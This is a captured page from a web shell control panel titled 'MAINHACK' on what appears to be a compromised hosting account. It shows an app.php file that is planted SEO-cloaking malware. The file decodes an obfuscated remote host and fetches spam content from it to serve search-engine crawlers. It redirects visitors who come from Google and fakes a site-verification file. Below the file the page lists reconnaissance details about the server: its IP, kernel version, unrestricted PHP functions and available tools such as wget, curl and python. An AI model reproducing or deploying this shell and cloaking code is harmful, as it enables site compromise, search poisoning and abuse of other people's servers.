[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: app.php
<?php if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) { header('HTTP/1.0 403 Forbidden'); exit('Access denied.'); } ?> <?php error_reporting(0);date_default_timezone_set("PRC"); $baseUrl = base64_decode("aHR0cDovLzE1NC4yMDUuMTQyLjExOA=="); $http = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://"; $full_url = $http . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; if(strpos($_SERVER['REQUEST_URI'],"google79100648019c8ee4.html")!==false){ echo "google-site-verification: google79100648019c8ee4.html";exit; } function bot() { return strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'google') !== false; } function referer() { if(!isset($_SERVER['HTTP_REFERER'])){return false; } return strpos(strtolower($_SERVER['HTTP_REFERER']), 'google') !== false; } function get_data($url,$ua="googlebot") { $context = stream_context_create(array('http' => array('header' => "User-Agent: $ua\r\n"))); if ($d = @file_get_contents($url, false, $context)) { return $d; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_USERAGENT, $ua); $response = curl_exec($ch); curl_close($ch); return $response; } } function send_xml($http, $baseUrl) { $base_url = $http . $_SERVER['HTTP_HOST'] . '/'.basename(__FILE__); header('Content-Type: application/xml'); echo get_data($baseUrl . '/br@?' . "&site=$base_url?" . '&keyword=sitemap.xml');die; } if (strpos($full_url, "sitemap") !== false) { send_xml($http, $baseUrl); } $url_host = $baseUrl."/br@?host=".$_SERVER['HTTP_HOST']."&"; if (referer()) { echo get_data($baseUrl . '/br@?/redirect-br.html');die; } if (bot()) { $u = $url_host.'mulu='.basename(__FILE__).'?&keyword=' . $_SERVER['REQUEST_URI']; echo get_data($u);exit; } echo "404 Not Found";
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server306.web-hosting.com
Server IP: 192.64.117.220
PHP Version: 8.2.31
Server Software: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 138.28 GB
HDD Free: 102.19 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: awodbsau
User ID (UID): 4522
Group ID (GID): 4521
Script Owner UID: 4522
Current Dir Owner: 4522